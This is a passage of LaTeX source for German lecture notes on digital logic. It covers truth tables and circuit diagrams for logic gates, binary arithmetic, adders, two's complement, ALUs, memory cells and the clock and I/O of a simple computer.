\psline[arrows=o-](2.0,0|D0)(D0) - \uput[0](2.0,0|D0){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}\hspace*{-1.5cm}% - \begin{minipage}{4.5cm} - \begin{center} - \vspace*{-1cm} - \begin{pdfpic} - \newrgbcolor{almostwhite}{0.9 0.9 0.9} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.2,0){A} - \uput[180](A){A} - \pnode(2,3.5){Qplus} - \uput[180](Qplus){\textbf{+}} - \pnode(2,1){QR} - \resistor[arrows=*->,arrowsize=0.3](QR)(Qplus){} - \pnode(3,1){Q} - \uput[0](Q){Q\color{almostwhite}.} - \pnode(0.5,-1){GND} - \ground[connectingdot=false](GND) - \transistor[basesep=1.2,arrows=o-](A)(GND)(QR) - \psline[arrows=-o](QR)(Q) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}\hspace*{-0.5cm}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-3,0){A} - \pnode(-2,0){A1} - \pnode(-2,1.5){A1plus} - \pnode(-2,-1.5){A1GND} - \pnode(0.15,1.5){Q1plus} - \pnode(0.15,2.5){plus} - \pnode(0.15,-1.5){Q1minus} - \pnode(0.15,-2){GND} - \pnode(0.15,0){Q1} - \pnode(1.5,0){Q} - \uput[180](A){A} - \psline[arrows=o-*](A)(A1) - \psline(A1plus)(A1GND) - \psline[arrows=->,arrowsize=0.3](Q1plus)(plus){} - \uput[180](plus){\textbf{+}} - \transistor[basesep=1.5,transistortype=MOSFET,FETchanneltype=P](A1plus)(Q1)(plus) - \transistor[basesep=1.5,transistortype=MOSFET](A1GND)(GND)(Q1) - \ground[connectingdot=false](GND) - \psline[arrows=*-o](Q1)(Q) - \uput[0](Q){Q~\strut} - \end{pspicture} - \end{pdfpic} - \vspace*{-0.5cm} - \end{center} - \end{minipage} - - \bigskip\nopagebreak - - Von links nach rechts: Wahrheitstabelle, Schaltzeichen, Realisierungen mit Relais, - mit Bipolartransistor und Widerstand bzw.\ mit zwei Feldeffekttransistoren - (CMOS-Schaltung, Stand der Technik 2012). - Anstelle von Transistoren k�nnen auch Elektronenr�hren verwendet werden. - - \item - Oder-Verkn�pfung - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular} - \end{center} - \end{minipage}\hspace*{1cm}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=or](-0.75,-0.125){or1} - \psline[arrows=o-](-2,0|or12)(or12) - \uput[180](-2,0|or12){A} - \psline[arrows=o-](-2,0|or11)(or11) - \uput[180](-2,0|or11){B} - \psline[arrows=o-](2,0|or1Q)(or1Q) - \uput[0](2,0|or1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{6cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(6,4) - \pnode(-1.2,0.75){A} - \pnode(-1,0.75){A1} - \pnode(1,0.75){QA} - \pnode(-1.2,-0.5){B} - \pnode(-1,-0.5){B1} - \pnode(1,-0.5){QB} - \pnode(2,0.75){Q} - \pnode(1,-2.5){GND} - \uput[180](A){A} - \uput[180](B){B} - \psline[arrows=-o](QA)(Q) - \uput[0](Q){Q} - \psline[arrows=o-](A)(A1) - \diode[fillstyle=solid,fillcolor=black](A1)(QA){} - \psline[arrows=o-](B)(B1) - \diode[fillstyle=solid,fillcolor=black](B1)(QB){} - \psline[arrows=*-*](QA)(QB) - \resistor(QB)(GND){} - \ground[connectingdot=false](GND) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - - \bigskip\nopagebreak - - Von links nach rechts: Wahrheitstabelle, Schaltzeichen, - Realisierung mit Dioden und Widerstand. - - \bigskip - - \item - Und-Verkn�pfung - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 0 \\\hline - 1 & 0 & 0 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular} - \end{center} - \end{minipage}\hspace*{1cm}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=and](-0.75,-0.125){and1} - \psline[arrows=o-](-2,0|and12)(and12) - \uput[180](-2,0|and12){A} - \psline[arrows=o-](-2,0|and11)(and11) - \uput[180](-2,0|and11){B} - \psline[arrows=o-](2,0|and1Q)(and1Q) - \uput[0](2,0|and1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{6cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(6,4) - \pnode(-1.2,0.75){A} - \pnode(-1,0.75){A1} - \pnode(1,0.75){QA} - \pnode(-1.2,-0.5){B} - \pnode(-1,-0.5){B1} - \pnode(1,-0.5){QB} - \pnode(2,0.75){Q} - \pnode(1,3.25){plus1} - \pnode(1,3.5){plus} - \uput[180](A){A} - \uput[180](B){B} - \psline[arrows=-o](QA)(Q) - \uput[0](Q){Q} - \psline[arrows=o-](A)(A1) - \diode[fillstyle=solid,fillcolor=black](QA)(A1){} - \psline[arrows=o-](B)(B1) - \diode[fillstyle=solid,fillcolor=black](QB)(B1){} - \psline[arrows=*-](QA)(QB) - \resistor(QA)(plus1){} - \psline[arrows=->,arrowsize=0.3](plus1)(plus){} - \uput[180](plus){\textbf{+}} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - - \bigskip\nopagebreak - - Von links nach rechts: Wahrheitstabelle, Schaltzeichen, - Realisierung mit Dioden und Widerstand. - - \bigskip - - \item - - Exklusiv-Oder-Verkn�pfung\\ - "`entweder A oder B, aber nicht beide"' - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 0 \\\hline - \end{tabular} - \end{center} - \end{minipage}\hspace*{1cm}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=exor](-0.75,-0.125){exor1} - \psline[arrows=o-](-2,0|exor12)(exor12) - \uput[180](-2,0|exor12){A} - \psline[arrows=o-](-2,0|exor11)(exor11) - \uput[180](-2,0|exor11){B} - \psline[arrows=o-](2,0|exor1Q)(exor1Q) - \uput[0](2,0|exor1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{8cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(6,4) - \logic[logicType=and](-0.75,0.625){and1} - \logic[logicType=and](-0.75,-2.125){and2} - \logic[logicType=or](2.25,-0.625){or1} - \psline[arrows=o-](-3,0|and12)(and12) - \uput[180](-3,0|and12){A} - \psline[arrows=o-](-3,0|and21)(and21) - \uput[180](-3,0|and21){B} - \psline[arrows=*-](-2,0|and12)(-2,0|and22)(and22) - \pscircle[fillstyle=solid,fillcolor=white,linewidth=0.5pt](-0.85,0|and22){0.1} - \psline[arrows=*-](-1.5,0|and21)(-1.5,0|and11)(and11) - \pscircle[fillstyle=solid,fillcolor=white,linewidth=0.5pt](-0.85,0|and11){0.1} - \psline(and1Q)(1.5,0|and1Q)(1.5,0|or12)(or12) - \psline(and2Q)(1.5,0|and2Q)(1.5,0|or11)(or11) - \psline[arrows=o-](5,0|or1Q)(or1Q) - \uput[0](5,0|or1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - - \bigskip\nopagebreak - - Von links nach rechts: Wahrheitstabelle, Schaltzeichen, - Realisierung durch Zur�ckf�hren auf bereits bekannte Logik-Schaltungen. - Die Kringel an den Eing�ngen der Und-Schaltungen stehen f�r vorgeschaltete Inverter. - - \end{itemize} - - Bei den oben vorgestellten Schaltungen mit Bipolartransistoren und Dioden - handelt es sich um (veraltete) Widerstand-Transistor-Logik (RTL) und Dioden-Logik (DL). - In den Schaltungen aktueller Computer (Stand: 2012) kommen ausschlie�lich Transistoren zum Einsatz, - z.\,B.\ die o.\,a.\ CMOS-Schaltung f�r einen Inverter. - - Entscheidend ist, da� es �berhaupt m�glich ist, "`ideale"' Logik-Schaltungen - mit Hilfe realer Bauelemente zu bauen. Bei den weiteren Betrachtungen k�nnen wir uns daher - von den konkreten Realisierungen l�sen und allein mit den abstrahierten Logik-Schaltungen - (Schaltzeichen in der mittleren Spalte) arbeiten. - - \goodbreak - \subsection{Bin�rdarstellung von Zahlen} - - Es ist m�glich, Zahlen allein mit den Ziffern $0$ und $1$ auszudr�cken. - - Normalerweise rechnen wir im Dezimalsystem mit den Ziffern $0$ bis $9$. - Ab dem Zahlenwert $10$ wird eine Ziffer vorangestellt, die wir mit $10^1 = 10$ multiplizieren. - Ab dem Zahlenwert $100$ wird eine Ziffer vorangestellt, die wir mit $10^2 = 100$ multiplizieren usw. - $137$ ist nur eine Abk�rzung f�r $7 \cdot 10^0 + 3 \cdot 10^1 + 1 \cdot 10^2$. - - Das Bin�rsystem funktioniert analog mit Zweier- anstelle von Zehnerpotenzen, - also mit $2^0 = 1$, $2^1 = 2$, $2^2 = 4$, $2^3 = 8$ usw. - - Wir lesen eine Bin�rzahl $100101_2$, also eine Folge von Bin�rziffern, von rechts nach links: - \begin{eqnarray*} - 100101_2 - &=& 1 \cdot 2^0 + 0 \cdot 2^1 + 1 \cdot 2^2 + 0 \cdot 2^3 + 0 \cdot 2^4 + 1 \cdot 2^5 \\ - &=& 1 + 4 + 32 \\ - &=& 37 - \end{eqnarray*} - - Das Rechnen mit Bin�rzahlen funktioniert genauso wie das Rechnen mit Dezimalzahlen, - nur da� die "`Zehner"'-�berschreitung bereits bei $2$ stattfindet: - \begin{eqnarray*} - 0 + 0 &=& \phantom00 \\ - 0 + 1 &=& \phantom01 \\ - 1 + 0 &=& \phantom01 \\ - 1 + 1 &=& 10 - \end{eqnarray*} - - Beispiel: schriftliche Addition der Zahlen $101100_2 = 44$ und $101110_2 = 46$ - \begin{center} - \begin{tabular}{r} - $101100$\\ - $+\quad 101110$\\[0.5ex]\hline - \\[-3.5ex] - $\scriptstyle 1\hspace{0.6em}1\hspace{0.1em}1\hspace{1.55em}$\\ - $1011010$ - \end{tabular} - \end{center} - Das Ergebnis lautet: - \begin{eqnarray*} - 1011010_2 - &=& 0 \cdot 2^0 + 1 \cdot 2^1 + 0 \cdot 2^2 + 1 \cdot 2^3 + 1\cdot 2^4 + 0 \cdot 2^5 + 1 \cdot 2^6 \\ - &=& 2 + 8 + 16 + 64 \\ - &=& 90 - \end{eqnarray*} - - \subsection{Vom Logik-Schaltkreis zum Addierer} - - \begin{itemize} - - \item - 1-Bit-Addierer mit 2 Eing�ngen ("`Halbaddierer"') - \begin{itemize} - \item - Zwei 1-Bit-Zahlen ("`Bit"' = Bin�rziffer = $0$ oder $1$) werden an die Eing�nge X und Y gelegt. - \item - Das Rechenergebnis kann bis zu 2 Bits umfassen. - \item - Am Ausgang soll das Rechenergebnis anliegen:\\ - S soll die Einerziffer ($2^0 = 1$) und \Cout\ die Zweierziffer ($2^1 = 2$) anzeigen. - \end{itemize} - - \begin{minipage}{3.2cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|c|}\hline - X & Y & \Cout & S \\\hline\hline - 0 & 0 & 0 & 0 \\\hline - 0 & 1 & 0 & 1 \\\hline - 1 & 0 & 0 & 1 \\\hline - 1 & 1 & 1 & 0 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{5cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \def\logicusertype{HA} - \logic[logicType=user,logicNInput=2,logicNOutput=2](-0.75,-0.125){ha} - \psline[arrows=o-](-2,0|ha2)(ha2) - \uput[180](-2,0|ha2){X} - \psline[arrows=o-](-2,0|ha1)(ha1) - \uput[180](-2,0|ha1){Y} - \psline[arrows=o-](2,0|haQ1)(haQ1) - \uput[0](2,0|haQ1){\Cout} - \psline[arrows=o-](2,0|haQ2)(haQ2) - \uput[0](2,0|haQ2){S} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{5cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-3)(3,3) - \pnode(-3.5,2.5){A} - \pnode(-3.5,-1.5){B} - \uput[180](A){X} - \uput[180](B){Y} - \logic[logicType=exor](-0.75,0.625){exor} - \logic[logicType=and](-0.75,-2.125){and} - \psline[arrows=o-](A)(exor2) - \psline[arrows=o-](B)(and1) - \psline[arrows=*-](-2.5,0|B)(-2.5,0|exor1)(exor1) - \psline[arrows=*-](-1.5,0|A)(-1.5,0|and2)(and2) - \psline[arrows=-o](exorQ)(2,0|exorQ) - \uput[0](2,0|exorQ){S} - \psline[arrows=-o](andQ)(2,0|andQ) - \uput[0](2,0|andQ){\Cout} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - - \bigskip - - \goodbreak - \item - 1-Bit-Addierer mit 3 Eing�ngen ("`Volladdierer"') - \begin{itemize} - \item - Drei 1-Bit-Zahlen werden an die Eing�nge X, Y und \Cin\ gelegt.\\ - ("`C"' steht f�r "`carry"' -- �bertrag.) - \item - Das Rechenergebnis kann bis zu 2 Bits umfassen. - \item - Am Ausgang soll das Rechenergebnis anliegen:\\ - S soll die Einerziffer ($2^0 = 1$) und \Cout\ die Zweierziffer ($2^1 = 2$) anzeigen. - \end{itemize} - - \medskip - - \begin{minipage}{4.0cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c|c||c|c|}\hline - \Cin & X & Y & \Cout & S \\\hline\hline - 0 & 0 & 0 & 0 & 0 \\\hline - 0 & 0 & 1 & 0 & 1 \\\hline - 0 & 1 & 0 & 0 & 1 \\\hline - 0 & 1 & 1 & 1 & 0 \\\hline - 1 & 0 & 0 & 0 & 1 \\\hline - 1 & 0 & 1 & 1 & 0 \\\hline - 1 & 1 & 0 & 1 & 0 \\\hline - 1 & 1 & 1 & 1 & 1 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{8cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \def\logicusertype{FA} - \logic[logicType=user,logicNInput=3,logicNOutput=2](-0.75,-0.125){fa} - \psline[arrows=o-](-2,0|fa2)(fa2) - \uput[180](-2,0|fa3){X} - \psline[arrows=o-](-2,0|fa3)(fa3) - \uput[180](-2,0|fa2){Y} - \psline[arrows=o-](-2,0|fa1)(fa1) - \uput[180](-2,0|fa1){\Cin} - \psline[arrows=o-](2,0|faQ1)(faQ1) - \uput[0](2,0|faQ1){\Cout} - \psline[arrows=o-](2,0|faQ2)(faQ2) - \uput[0](2,0|faQ2){S} - \end{pspicture} - \end{pdfpic} - - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-3)(3,3) - \def\logicusertype{HA} - \logic[logicType=user,logicNInput=2,logicNOutput=2](-0.75,-0.125){ha1} - \uput[180](ha1Q1){\scriptsize C\kern-3pt} - \psline[arrows=o-](-2,0|ha12)(ha12) - \uput[180](-2,0|ha12){X} - \psline[arrows=o-](-2,0|ha11)(ha11) - \uput[180](-2,0|ha11){Y} - \logic[logicType=user,logicNInput=2,logicNOutput=2](1.5,1.125){ha2} - \uput[180](ha2Q1){\scriptsize C\kern-3pt} - \psline[arrows=o-](-2,0|ha22)(ha22) - \uput[180](-2,0|ha22){\Cin} - \psline(ha1Q2)(ha21) - \psline[arrows=o-](6.5,0|ha2Q2)(ha2Q2) - \uput[0](6.5,0|ha2Q2){S} - \logic[logicType=or](3.75,-0.125){or} - \psline(ha1Q1)(or1) - \psline(ha2Q1)(or2) - \psline[arrows=o-](6.5,0|orQ)(orQ) - \uput[0](6.5,0|orQ){\Cout} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - - \bigskip - - \goodbreak - - \begin{center} - \includegraphics[height=7cm]{fa-1.jpg}\\ - Eine andere Form der Wahrheitstabelle des Volladdierers - - \medskip - - \includegraphics[height=7cm]{fa-2.jpg}\\ - Realisierung eines Volladdierers durch\\ - Erkennen von Strukturen in der Wahrheitstabelle - - \medskip - - \includegraphics[height=7cm]{fa-3.jpg}\\ - Rechts: Realisierung eines Volladdierers durch Nachvollziehen der Operation\\ - (schriftliches Addieren) und Zur�ckf�hren auf Halbaddierer - - \smallskip - - \begin{minipage}{15cm} - Links: Realisierung eines Volladdierers "`mit Gewalt"' (\newterm{brute force\/}): - F�r jede Zeile der Wahrheitstabelle wird eine Und-Schaltung aufgebaut. - Einsen werden direkt an einen Eingang gelegt, Nullen invertiert. - F�r diejenigen Zeilen, in denen der Ausgang der Gesamtschaltung eine Eins liefern soll, - werden die Ausg�nge der Und-Schaltungen in einer gro�en Oder-Schaltung verkn�pft. - Diese Art der Realisierung ist theoretisch f�r jede gegebene Wahrheitstabelle m�glich. - \end{minipage} - \end{center} - - \goodbreak - - \item - 4-Bit-Addierer mit �bertrag (9 Eing�nge, 5 Ausg�nge) - \begin{itemize} - \item - Zwei 4-Bit-Zahlen ("`Operanden"') werden an jeweils 4 Eing�nge gelegt. - \item - Ein weiteres Bit ("`�bertrag"') wird an den Eingang \Cin\ gelegt.\\ - Diese 1-Bit-Zahl wird zus�tzlich zu den zwei 4-Bit-Zahlen addiert. - \item - Das Rechenergebnis kann bis zu 5 Bits umfassen.\\ - Das h�chstwertige Bit ist der neue �bertrag (\Cout). - \end{itemize} - - \medskip - - \begin{minipage}{10cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-4)(3,9) - \def\logicusertype{FA} - \logic[logicType=user,logicNInput=3,logicNOutput=2](-0.75,8){fa0} - \uput[180](fa0Q1){\scriptsize C\kern-3pt} - \psline[arrows=o-](-2,0|fa03)(fa03) - \psline[arrows=o-](-2,0|fa02)(fa02) - \psline[arrows=o-](-2,0|fa01)(fa01) - \uput[180](-2,0|fa03){\Cin} - \uput[180](-2,0|fa02){X0} - \uput[180](-2,0|fa01){Y0} - \psline[arrows=o-](2,0|fa0Q2)(fa0Q2) - \uput[0](2,0|fa0Q2){S0} - \logic[logicType=user,logicNInput=3,logicNOutput=2](-0.75,4){fa1} - \uput[180](fa1Q1){\scriptsize C\kern-3pt} - \psline[arrows=o-](-2,0|fa12)(fa12) - \psline[arrows=o-](-2,0|fa11)(fa11) - \uput[180](-2,0|fa12){X1} - \uput[180](-2,0|fa11){Y1} - \psline[arrows=o-](2,0|fa1Q2)(fa1Q2) - \uput[0](2,0|fa1Q2){S1} - \logic[logicType=user,logicNInput=3,logicNOutput=2](-0.75,0){fa2} - \uput[180](fa2Q1){\scriptsize C\kern-3pt} - \psline[arrows=o-](-2,0|fa22)(fa22) - \psline[arrows=o-](-2,0|fa21)(fa21) - \uput[180](-2,0|fa22){X2} - \uput[180](-2,0|fa21){Y2} - \psline[arrows=o-](2,0|fa2Q2)(fa2Q2) - \uput[0](2,0|fa2Q2){S2} - \logic[logicType=user,logicNInput=3,logicNOutput=2](-0.75,-4){fa3} - \uput[180](fa3Q1){\scriptsize C\kern-3pt} - \psline[arrows=o-](-2,0|fa32)(fa32) - \psline[arrows=o-](-2,0|fa31)(fa31) - \uput[180](-2,0|fa32){X3} - \uput[180](-2,0|fa31){Y3} - \psline[arrows=o-](2,0|fa3Q2)(fa3Q2) - \psline[arrows=o-](2,0|fa3Q1)(fa3Q1) - \uput[0](2,0|fa3Q2){S3} - \uput[0](2,0|fa3Q1){\Cout} - \psline(fa0Q1)(2,0|fa0Q1)(2,7.5)(-2,7)(-2,0|fa13)(fa13) - \psline(fa1Q1)(2,0|fa1Q1)(2,3.5)(-2,3)(-2,0|fa23)(fa23) - \psline(fa2Q1)(2,0|fa2Q1)(2,-0.5)(-2,-1)(-2,0|fa33)(fa33) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - - \bigskip - - Problem: Das Signal f�r den �bertrag wandert von Volladdierer zu Volladdierer;\\ - die Schaltzeiten addieren sich. $\longrightarrow$ langsam - - L�sungswege: siehe \url{http://de.wikipedia.org/wiki/Addierer} - - \end{itemize} - - \goodbreak - - \subsection{Negative Zahlen} - - Was ist das "`nat�rliche"' Format zur Darstellung negativer Zahlen durch Nullen und Einsen? - \begin{itemize} - \item - Wenn wir zu der Bin�rzahl $1111_2$ den Wert $1$ addieren, erhalten wir $10000_2$. - \item - Wenn dies auf einem 4-Bit-Addierer geschieht, - ist die vordere Ziffer $1$ der neue �bertrag. - \item - Wenn dieser Wert dann in einer 4-Bit-Speicherzelle gespeichert wird, - f�llt der �bertrag unter den Tisch, und der Wert $0$ wird gespeichert. - \item - Fazit: Wenn wir in einem 4-Bit-System zu der Bin�rzahl $1111_2$ den Wert $1$ addieren, - kommt $0$ heraus. - Somit ist $1111_2$ auf einem 4-Bit-System die "`nat�rliche"' Darstellung der Zahl $-1$. - \end{itemize} - - Allgemein gilt: Wenn eine vorzeichenbehaftete Zahl $x$ �berall dort Nullen hat, - wo eine andere vorzeichenbehaftete Zahl $y$ Einsen hat, setzt man $x = -(y + 1)$. - - Diese Darstellung negativer Zahlen nennt man das "`Zweierkomplement"'. - -% \underconstruction - - \begin{center} - \includegraphics[height=7cm]{rechnen.jpg}\\ - Auf einem 4-Bit-Addierer gilt: $-7 = 9$. - - \medskip - - \includegraphics[height=7cm]{komplement.jpg}\\ - Schaltung, die das Zweierkomplement berechnet - \end{center} - - Konsequenzen: - \begin{itemize} - \item - Jede Bin�rzahl l��t sich sowohl als positive als auch als negative Zahl interpretieren. - \item - Um eine $n$-Bit-Bin�rzahl $x$ in ihr Negatives $-x$ umzuwandeln, - invertiert man zun�chst alle Bin�rziffern. - Danach addiert man, ohne auf Vorzeichen zu achten, den Zahlenwert $1$. - Falls dabei ein �berlauf auftritt, verwirft man diesen, - beh�lt also nur die untersten $n$ Ziffern. - \item - Diejenige Zahl, die als h�chste Ziffer eine $1$ und ansonsten nur Nullen hat, - hat keine negative Entsprechung au�er sich selbst. - Per Konvention kann man diese Zahl als gr��tm�gliche positive Zahl, - als kleinstm�gliche negative Zahl, als alternative Darstellung der Zahl $0$ - oder als einen ung�ltigen Wert interpretieren. - - Auf PCs lautet die Konvention: kleinstm�gliche negative Zahl.\\ - Somit zeigt dort das h�chstwertige Bit einer Bin�rzahl das Vorzeichen an. - \item - Mit der o.\,a.\ Konvention haben\\[\smallskipamount] - \begin{tabular}{lcrcl} - vorzeichenlose 8-Bit-Zahlen & den Wertebereich & $0$ & bis & $255$, \\ - vorzeichenbehaftete 8-Bit-Zahlen & den Wertebereich & $-128$ & bis & $127$, \\ - vorzeichenlose 16-Bit-Zahlen & den Wertebereich & $0$ & bis & $65535$, \\ - vorzeichenbehaftete 16-Bit-Zahlen & den Wertebereich & $-32768$ & bis & $32767$, \\ - \dots \\ - vorzeichenlose $n$-Bit-Zahlen & den Wertebereich & $0$ & bis & $2^n - 1$, \\ - vorzeichenbehaftete $n$-Bit-Zahlen & den Wertebereich & $-2^{n-1}$ & bis & $2^{n-1} - 1$. - \end{tabular} - \item - Wenn bei einer Addition vorzeichenbehafteter Zahlen der Wertebereich verlassen wird,\\ - kann das Ergebnis negativ sein. - - Beispiel: Addition der vorzeichenbehafteten 8-Bit-Zahlen $117$ und $94$ \\ - $0111\,0101_2 + 0101\,1110_2 = 1101\,0011_2 = -45$\\ - Probe: $45 + (117 + 94) = 256$. Die unteren 8 Bit von $256$ sind Null. - - Beispiel f�r 16-Bit-Zahlen: siehe \url{http://www.xkcd.com/571/} - \end{itemize} - - \goodbreak - - \subsection{Vom Addierer zum Computer} - - Arithmetisch-logische Einheit % \underconstruction - \begin{itemize} - \item - ALU = Arithmetic Logic Unit - \item - Schaltkreis, der die Operanden wahlweise auf verschiedene Weisen verkn�pft\\ - (Oder, Und, Exklusiv-Oder, Addition, \dots) - \item - Die Auswahl der Operation erfolgt �ber weitere Eing�nge,\\ - die �ber zus�tzliche Und-Gatter eins der Verkn�pfungsergebnisse auf die Ausg�nge legen. - \end{itemize} - - \begin{center} - \includegraphics[height=7cm]{multi-1.jpg}\\ - Multiplikation von Bin�rzahlen - - \medskip - - \includegraphics[height=7cm]{multi-2.jpg}\\ - Wahrheitstabelle f�r einen 2-Bit-Multiplizierer - - \medskip - - \includegraphics[height=7cm]{multi-3.jpg}\\ - Realisierung eines 2-Bit-Multiplizierers - - \medskip - - \includegraphics[height=7cm]{alu.jpg}\\ - Die hier dargestellte 4-Bit-ALU berechnet auf Wunsch (W-Eing�nge)\\ - die Und-Verkn�pfung, die Oder-Verkn�pfung oder die Summe der Operanden A und B. - \end{center} - - \goodbreak - Speicher - \begin{itemize} - \item - Ein Flipflop kann sich eine $1$ oder $0$ (= 1 Bit Information) merken.\\ - ("`statischer Speicher"') - - \begin{minipage}{10cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-4,-4)(4,4) - \logic[logicType=nand](-0.75,2){nand1} - \logic[logicType=nand](-0.75,-2){nand2} - \psline[arrows=o-](-3,0|nand12)(nand12) - \uput[180](-3,0|nand12){$\overline{\mbox{S}}$} - \psline[arrows=o-](-3,0|nand21)(nand21) - \uput[180](-3,0|nand21){$\overline{\mbox{R}}$} - \psline[arrows=o-](3,0|nand1Q)(nand1Q) - \uput[0](3,0|nand1Q){Q} - \psline[arrows=o-](3,0|nand2Q)(nand2Q) - \uput[0](3,0|nand2Q){$\overline{\mbox{Q}}$} - \psline[arrows=*-](2,0|nand1Q)(2,1.75)(-2,0.75)(-2,0|nand22)(nand22) - \psline[arrows=*-](2,0|nand2Q)(2,0.75)(-2,1.75)(-2,0|nand11)(nand11) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - - \medskip - - \item - Durch zus�tzliche Und-Gatter kann man aus vielen Flip-Flops eins ausw�hlen\\ - $\longrightarrow$ Speicher-Adressierung - \item - Andere Speichermethode: Kondensator\\ - $\longrightarrow$ mu� nachgeladen werden ("`dynamischer Speicher"')\\ - einfacher und dichter zu packen als statischer Speicher,\\ - aber erfordert "`Refresh"' (zus�tzliche Schaltung) - \end{itemize} - - \begin{center} - \includegraphics[height=7cm]{speicher-1.jpg}\\ - Links: Realisierung einer Speicherzelle durch ein Relais: \newterm{Selbsthalteschaltung} - - Rechts unten: Realisierung einer Speicherzelle durch zwei Und--Schaltungen: \newterm{Flip-Flop} - - Rechts oben: instabile (und daher sinnlose) Schaltung mit einer Und-Nicht-Schaltung - - \bigskip - - \includegraphics[height=7cm]{speicher-2.jpg}\\ - \newterm{Statischer Speicher\/} (hier: Flip-Flop, oben) beh�lt seinen Zustand, - solange eine Stomversorgung besteht. - - \newterm{Dynamischer Speicher\/} (Kondensator) "`vergi�t"' durch \name{Ohm}sche Verluste - seinen Zustand allm�hlich,\\ - daher ist ein regelm��iges Auffrischen erforderlich: \newterm{Refresh} - \end{center} - - Statischer Speicher ist schneller und leichter handhabbar als dynamischer Speicher. - Auf der anderen Seite l��t sich dynamischer Speicher kosteng�nstiger - und in weitaus h�heren Dichten herstellen als statischer Speicher. - Computer enthalten daher typischerweise geringe Mengen an statischem Speicher - (Prozessor-Register, Cache-Speicher) - und gro�e Mengen an dynamischem Speicher (Arbeitsspeicher). - - \breath - - Takt - \begin{itemize} - \item - Ein Taktgeber l��t ein Z�hlwerk laufen,\\ - das in jedem Takt eine andere Operation f�r die ALU ausw�hlt\\ - und die Ein- und Ausg�nge der ALU mit anderen Speicherzellen verbindet. - \item - Welche Operation und welche Speicherzellen jeweils verwendet werden,\\ - wird anhand des Inhalts weiterer Speicherzellen entschieden.\\ - $\longrightarrow$ programmierbare Recheneinheit -- "`Prozessor"' - (oder CPU f�r "`Central Processing Unit"') - \item - Arbeitsweise eines Computers:\\ - Ein Prozessor bearbeitet taktgesteuert einen Speicher\\ - gem�� Instruktionen, die er aus dem Speicher liest. - \end{itemize} - - \goodbreak - Ein- und Ausgabe - \begin{itemize} - \item - Bestimmte Speicherzellen werden mit externen Ger�ten verkn�pft. - \item - Ger�t schreibt, Computer liest $\longrightarrow$ Eingabe (Input) - \item - Computer schreibt, Ger�t liest $\longrightarrow$ Ausgabe (Output) - \item[$\longrightarrow$] - "`I/O-Ports"'\label{I/O-Ports} - \end{itemize} - - \begin{center} - \includegraphics[height=7cm]{computer-1.jpg} - - \includegraphics[height=7cm]{computer-2.jpg} - - \includegraphics[height=7cm]{computer-3.jpg} - - \includegraphics[height=7cm]{computer-4.jpg} - \end{center} - - \subsection{Computer-Sprachen} - - 